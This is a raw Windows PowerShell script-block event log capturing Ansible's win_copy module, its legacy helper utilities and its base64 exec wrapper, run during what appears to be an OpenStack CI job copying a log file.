throw "invalid base64 archive name '$archive_name'"
}
} else {
throw "invalid base64 length '$archive_name'"
}
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_name = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64_name))
# re-add the / to the entry full name if it was a directory
if ($is_dir) {
$decoded_archive_name = "$decoded_archive_name/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_name)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false) {
if (-not $check_mode) {
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $entry_target_path, $true)
}
}
}
$archive.Dispose() # release the handle of the zip file
}
Function Extract-ZipLegacy($src, $dest) {
if (-not (Test-Path -Path $dest)) {
New-Item -Path $dest -ItemType Directory -WhatIf:$check_mode | Out-Null
}
$shell = New-Object -ComObject Shell.Application
$zip = $shell.NameSpace($src)
$dest_path = $shell.NameSpace($dest)
foreach ($entry in $zip.Items()) {
$is_dir = $entry.IsFolder
$encoded_archive_entry = $entry.Name
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_entry = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded_archive_entry))
if ($is_dir) {
$decoded_archive_entry = "$decoded_archive_entry/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_entry)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false -and (-not $check_mode)) {
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb787866.aspx
# From Folder.CopyHere documentation, 1044 means:
# - 1024: do not display a user interface if an error occurs
# - 16: respond with "yes to all" for any dialog box that is displayed
# - 4: do not display a progress dialog box
$dest_path.CopyHere($entry, 1044)
# once file is extraced, we need to rename it with non base64 name
$combined_encoded_path = [System.IO.Path]::Combine($dest, $encoded_archive_entry)
Move-Item -Path $combined_encoded_path -Destination $entry_target_path -Force | Out-Null
}
}
}
if ($copy_mode -eq "query") {
# we only return a list of files/directories that need to be copied over
# the source of the local file will be the key used
$changed_files = @()
$changed_directories = @()
$changed_symlinks = @()
foreach ($file in $files) {
$filename = $file.dest
$local_checksum = $file.checksum
$filepath = Join-Path -Path $dest -ChildPath $filename
if (Test-Path -Path $filepath -PathType Leaf) {
if ($force) {
$checksum = Get-FileChecksum -path $filepath
if ($checksum -ne $local_checksum) {
$will_change = $true
$changed_files += $file
}
}
} elseif (Test-Path -Path $filepath -PathType Container) {
Fail-Json -obj $result -message "cannot copy file to dest '$filepath': object at path is already a directory"
} else {
$changed_files += $file
}
}
foreach ($directory in $directories) {
$dirname = $directory.dest
$dirpath = Join-Path -Path $dest -ChildPath $dirname
$parent_dir = [System.IO.Path]::GetDirectoryName($dirpath)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at parent directory path is already a file"
}
if (Test-Path -Path $dirpath -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at path is already a file"
} elseif (-not (Test-Path -Path $dirpath -PathType Container)) {
$changed_directories += $directory
}
}
# TODO: Handle symlinks
$result.files = $changed_files
$result.directories = $changed_directories
$result.symlinks = $changed_symlinks
} elseif ($copy_mode -eq "explode") {
# a single zip file containing the files and directories needs to be
# expanded this will always result in a change as the calculation is done
# on the win_copy action plugin and is only run if a change needs to occur
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot expand src zip file: '$src' as it does not exist"
}
# Detect if the PS zip assemblies are available or whether to use Shell
$use_legacy = $false
try {
Add-Type -AssemblyName System.IO.Compression.FileSystem | Out-Null
Add-Type -AssemblyName System.IO.Compression | Out-Null
} catch {
$use_legacy = $true
}
if ($use_legacy) {
Extract-ZipLegacy -src $src -dest $dest
} else {
Extract-Zip -src $src -dest $dest
}
$result.changed = $true
} elseif ($copy_mode -eq "remote") {
# all copy actions are happening on the remote side (windows host), need
# too copy source and dest using PS code
$result.src = $src
$result.dest = $dest
if (-not (Test-Path -Path $src)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
if (Test-Path -Path $src -PathType Container) {
# we are copying a directory or the contents of a directory
$result.operation = 'folder_copy'
if ($src.EndsWith("/") -or $src.EndsWith("`\")) {
# copying the folder's contents to dest
$diff = ""
$child_files = Get-ChildItem -Path $src -Force
foreach ($child_file in $child_files) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_file.Name
if ($child_file.PSIsContainer) {
$diff += Copy-Folder -source $child_file.FullName -dest $dest_child_path
} else {
$diff += (Copy-File -source $child_file.FullName -dest $dest_child_path).diff
}
}
} else {
# copying the folder and it's contents to dest
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
$diff = Copy-Folder -source $src -dest $dest
}
} else {
# we are just copying a single file to dest
$result.operation = 'file_copy'
$source_basename = (Get-Item -Path $src -Force).Name
$result.original_basename = $source_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\")) {
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
} else {
# check if the parent dir exists, this is only done if src is a
# file and dest if the path to a file (doesn't end with \ or /)
$parent_dir = Split-Path -Path $dest
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
$copy_result = Copy-File -source $src -dest $dest
$diff = $copy_result.diff
$result.checksum = $copy_result.checksum
}
# the file might not exist if running in check mode
if (-not $check_mode -or (Test-Path -Path $dest -PathType Leaf)) {
$result.size = Get-FileSize -path $dest
} else {
$result.size = $null
}
if ($diff_mode) {
$result.diff.prepared = $diff
}
} elseif ($copy_mode -eq "single") {
# a single file is located in src and we need to copy to dest, this will
# always result in a change as the calculation is done on the Ansible side
# before this is run. This should also never run in check mode
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
# the dest parameter is a directory, we need to append original_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\") -or (Test-Path -Path $dest -PathType Container)) {
$remote_dest = Join-Path -Path $dest -ChildPath $original_basename
$parent_dir = Split-Path -Path $remote_dest
# when dest ends with /, we need to create the destination directories
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
New-Item -Path $parent_dir -ItemType Directory | Out-Null
}
} else {
$remote_dest = $dest
$parent_dir = Split-Path -Path $remote_dest
# check if the dest parent dirs exist, need to fail if they don't
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
Copy-Item -Path $src -Destination $remote_dest -Force | Out-Null
$result.changed = $true
}
Exit-Json -obj $result
ScriptBlock ID: 695fb657-261c-452b-9a1a-67f0f055eba5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1720 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4928 | 3516 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:55 AM | dfeadd90-ee34-0002-56fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 22358cb3-0f0b-46b1-88e6-9c22b8ca7594
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1719 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4928 | 608 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:55 AM | dfeadd90-ee34-0002-49fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: c12619d1-dc1d-4d49-816b-8955527feb8d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1718 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4928 | 608 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:54 AM | dfeadd90-ee34-0002-3afd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
G9yeQogICAgICAgIH0KICAgIH0KCiAgICAjIFRPRE86IEhhbmRsZSBzeW1saW5rcwoKICAgICRyZXN1bHQuZmlsZXMgPSAkY2hhbmdlZF9maWxlcwogICAgJHJlc3VsdC5kaXJlY3RvcmllcyA9ICRjaGFuZ2VkX2RpcmVjdG9yaWVzCiAgICAkcmVzdWx0LnN5bWxpbmtzID0gJGNoYW5nZWRfc3ltbGlua3MKfSBlbHNlaWYgKCRjb3B5X21vZGUgLWVxICJleHBsb2RlIikgewogICAgIyBhIHNpbmdsZSB6aXAgZmlsZSBjb250YWluaW5nIHRoZSBmaWxlcyBhbmQgZGlyZWN0b3JpZXMgbmVlZHMgdG8gYmUKICAgICMgZXhwYW5kZWQgdGhpcyB3aWxsIGFsd2F5cyByZXN1bHQgaW4gYSBjaGFuZ2UgYXMgdGhlIGNhbGN1bGF0aW9uIGlzIGRvbmUKICAgICMgb24gdGhlIHdpbl9jb3B5IGFjdGlvbiBwbHVnaW4gYW5kIGlzIG9ubHkgcnVuIGlmIGEgY2hhbmdlIG5lZWRzIHRvIG9jY3VyCiAgICBpZiAoLW5vdCAoVGVzdC1QYXRoIC1QYXRoICRzcmMgLVBhdGhUeXBlIExlYWYpKSB7CiAgICAgICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAiQ2Fubm90IGV4cGFuZCBzcmMgemlwIGZpbGU6ICckc3JjJyBhcyBpdCBkb2VzIG5vdCBleGlzdCIKICAgIH0KCiAgICAjIERldGVjdCBpZiB0aGUgUFMgemlwIGFzc2VtYmxpZXMgYXJlIGF2YWlsYWJsZSBvciB3aGV0aGVyIHRvIHVzZSBTaGVsbAogICAgJHVzZV9sZW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aGFuZ2VkID0gJHRydWUKfQoKRXhpdC1Kc29uIC1vYmogJHJlc3VsdAo=", "module_args": {"symlinks": [], "files": [{"dest": "pip-install-networking-hyperv.log", "checksum": "fd6f41901778e3f9ef3ab9f10d0bfec41b50177f", "src": "/home/jenkins-slave/.ansible/tmp/ansible-local-6900qW3ePo/tmpR26Gif"}], "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "force": true, "_ansible_no_log": false, "dest": "c:/openstack/log", "directories": [], "_ansible_remote_tmp": "%TEMP%", "_ansible_verbosity": 4, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_copy_mode": "query", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null, "_ansible_version": "2.7.0", "_ansible_module_name": "win_copy"}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 1b69a307-c8a1-467e-add5-d6cfec8a6461
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1717 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4928 | 608 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:54 AM | dfeadd90-ee34-0002-34fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
tKCRwYXRoLCAkYWxnb3JpdGhtID0gJ3NoYTEnKQp7CjwjCiAgICAuU1lOT1BTSVMKICAgIEhlbHBlciBmdW5jdGlvbiB0byBjYWxjdWxhdGUgYSBoYXNoIG9mIGEgZmlsZSBpbiBhIHdheSB3aGljaCBQb3dlclNoZWxsIDMKICAgIGFuZCBhYm92ZSBjYW4gaGFuZGxlCiM+CiAgICBJZiAoVGVzdC1QYXRoIC1QYXRoICRwYXRoIC1QYXRoVHlwZSBMZWFmKQogICAgewogICAgICAgIHN3aXRjaCAoJGFsZ29yaXRobSkKICAgICAgICB7CiAgICAgICAgICAgICdtZD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JpZXMgKz0gJGRpcmVjd
ScriptBlock ID: 1b69a307-c8a1-467e-add5-d6cfec8a6461
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1716 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4928 | 608 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:54 AM | dfeadd90-ee34-0002-34fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU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jb2RpbmcgYCRmYWxzZSIpIHwgT3V0LU51bGwKICAgIH0KCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkU2NyaXB0KCRlbnRyeXBvaW50KSB8IE91dC1OdWxsCgogICAgJG91dHB1dCA9ICRwcy5JbnZva2UoKQoKICAgICRvdXRwdXQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.Legacy": 